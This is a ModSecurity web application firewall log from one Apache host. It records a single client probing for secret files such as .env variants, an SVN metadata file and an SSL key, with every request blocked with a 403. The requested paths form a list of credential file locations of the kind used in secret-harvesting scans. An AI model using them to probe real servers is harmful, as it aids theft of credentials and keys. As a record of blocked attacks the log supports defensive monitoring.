[Sun Oct 25 22:08:46.669909 2026] [security2:error] [pid 2943055:tid 2943055] [client 34.81.7.133:40308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at62Lu8Eq3zj7Cef_RFABQAAAA4"]
[Sun Oct 25 22:08:46.670212 2026] [security2:error] [pid 2943055:tid 2943055] [client 34.81.7.133:40308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at62Lu8Eq3zj7Cef_RFABQAAAA4"]
[Sun Oct 25 22:08:46.682224 2026] [security2:error] [pid 2943054:tid 2943054] [client 34.81.7.133:40312] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at62LgVMbcT9KgS5Oi2M6gAAAA0"]
[Sun Oct 25 22:08:46.682418 2026] [security2:error] [pid 2943054:tid 2943054] [client 34.81.7.133:40312] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at62LgVMbcT9KgS5Oi2M6gAAAA0"]
[Sun Oct 25 22:08:46.682714 2026] [security2:error] [pid 2943054:tid 2943054] [client 34.81.7.133:40312] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at62LgVMbcT9KgS5Oi2M6gAAAA0"]
[Sun Oct 25 22:08:46.686230 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40290] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.smtp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.smtp"] [unique_id "at62LkDZB1z45uajChfUPAAAAAs"]
[Sun Oct 25 22:08:46.686441 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40290] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.smtp"] [unique_id "at62LkDZB1z45uajChfUPAAAAAs"]
[Sun Oct 25 22:08:46.686738 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40290] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.smtp"] [unique_id "at62LkDZB1z45uajChfUPAAAAAs"]
[Sun Oct 25 22:08:46.688645 2026] [security2:error] [pid 2938938:tid 2938938] [client 34.81.7.133:40146] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sendgrid"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.sendgrid"] [unique_id "at62LgIuNp5K2_eTlG2KlQAAAC0"]
[Sun Oct 25 22:08:46.688790 2026] [security2:error] [pid 2938938:tid 2938938] [client 34.81.7.133:40146] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.sendgrid"] [unique_id "at62LgIuNp5K2_eTlG2KlQAAAC0"]
[Sun Oct 25 22:08:46.689010 2026] [security2:error] [pid 2938938:tid 2938938] [client 34.81.7.133:40146] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.sendgrid"] [unique_id "at62LgIuNp5K2_eTlG2KlQAAAC0"]
[Sun Oct 25 22:08:46.715703 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.github/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.github/.env"] [unique_id "at62Li7g7KvJoU2B-eLMWAAAAAY"]
[Sun Oct 25 22:08:46.715896 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.github/.env"] [unique_id "at62Li7g7KvJoU2B-eLMWAAAAAY"]
[Sun Oct 25 22:08:46.716131 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.github/.env"] [unique_id "at62Li7g7KvJoU2B-eLMWAAAAAY"]
[Sun Oct 25 22:08:46.854146 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env_secret"] [unique_id "at62LoCf_dn79BGji-V_BQAAAAg"]
[Sun Oct 25 22:08:46.854447 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env_secret"] [unique_id "at62LoCf_dn79BGji-V_BQAAAAg"]
[Sun Oct 25 22:08:46.854878 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env_secret"] [unique_id "at62LoCf_dn79BGji-V_BQAAAAg"]
[Sun Oct 25 22:08:46.877625 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ses"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.ses"] [unique_id "at62Lvv3Bqe9ulig-nTwqQAAAAk"]
[Sun Oct 25 22:08:46.877868 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.ses"] [unique_id "at62Lvv3Bqe9ulig-nTwqQAAAAk"]
[Sun Oct 25 22:08:46.878145 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.ses"] [unique_id "at62Lvv3Bqe9ulig-nTwqQAAAAk"]
[Sun Oct 25 22:08:46.885640 2026] [security2:error] [pid 2943054:tid 2943054] [client 34.81.7.133:40312] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.key"] [unique_id "at62LgVMbcT9KgS5Oi2M6wAAAA0"]
[Sun Oct 25 22:08:46.885847 2026] [security2:error] [pid 2943054:tid 2943054] [client 34.81.7.133:40312] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.key"] [unique_id "at62LgVMbcT9KgS5Oi2M6wAAAA0"]
[Sun Oct 25 22:08:46.886132 2026] [security2:error] [pid 2943054:tid 2943054] [client 34.81.7.133:40312] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.key"] [unique_id "at62LgVMbcT9KgS5Oi2M6wAAAA0"]
[Sun Oct 25 22:08:46.887666 2026] [security2:error] [pid 2943053:tid 2943053] [client 34.81.7.133:40318] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at62LvxrZFXBolpOk9S1eQAAAAw"]
[Sun Oct 25 22:08:46.887855 2026] [security2:error] [pid 2943053:tid 2943053] [client 34.81.7.133:40318] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at62LvxrZFXBolpOk9S1eQAAAAw"]
[Sun Oct 25 22:08:46.888145 2026] [security2:error] [pid 2943053:tid 2943053] [client 34.81.7.133:40318] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at62LvxrZFXBolpOk9S1eQAAAAw"]
[Sun Oct 25 22:08:46.940408 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40290] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/config/.env.local"] [unique_id "at62LkDZB1z45uajChfUPQAAAAs"]
[Sun Oct 25 22:08:46.940564 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/config/.env.production"] [unique_id "at62LhaKu-Zjs56a5J4sBQAAAAo"]
[Sun Oct 25 22:08:46.940649 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40290] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/config/.env.local"] [unique_id "at62LkDZB1z45uajChfUPQAAAAs"]
[Sun Oct 25 22:08:46.940730 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/config/.env.production"] [unique_id "at62LhaKu-Zjs56a5J4sBQAAAAo"]
[Sun Oct 25 22:08:46.940996 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40290] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/config/.env.local"] [unique_id "at62LkDZB1z45uajChfUPQAAAAs"]
[Sun Oct 25 22:08:46.941000 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/config/.env.production"] [unique_id "at62LhaKu-Zjs56a5J4sBQAAAAo"]
[Sun Oct 25 22:08:46.942097 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/config/.env.dev"] [unique_id "at62LtYvsK9lv2bQxMABmwAAABA"]
[Sun Oct 25 22:08:46.942257 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/config/.env.dev"] [unique_id "at62LtYvsK9lv2bQxMABmwAAABA"]
[Sun Oct 25 22:08:46.942494 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/config/.env.dev"] [unique_id "at62LtYvsK9lv2bQxMABmwAAABA"]
[Sun Oct 25 22:08:46.943445 2026] [security2:error] [pid 2938938:tid 2938938] [client 34.81.7.133:40146] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/application/.env.sample"] [unique_id "at62LgIuNp5K2_eTlG2KlgAAAC0"]
[Sun Oct 25 22:08:46.943617 2026] [security2:error] [pid 2938938:tid 2938938] [client 34.81.7.133:40146] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/application/.env.sample"] [unique_id "at62LgIuNp5K2_eTlG2KlgAAAC0"]
[Sun Oct 25 22:08:46.943824 2026] [security2:error] [pid 2938938:tid 2938938] [client 34.81.7.133:40146] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/application/.env.sample"] [unique_id "at62LgIuNp5K2_eTlG2KlgAAAC0"]
[Sun Oct 25 22:08:46.944269 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at62LrZn9l1fDWzMN3C81AAAAAQ"]
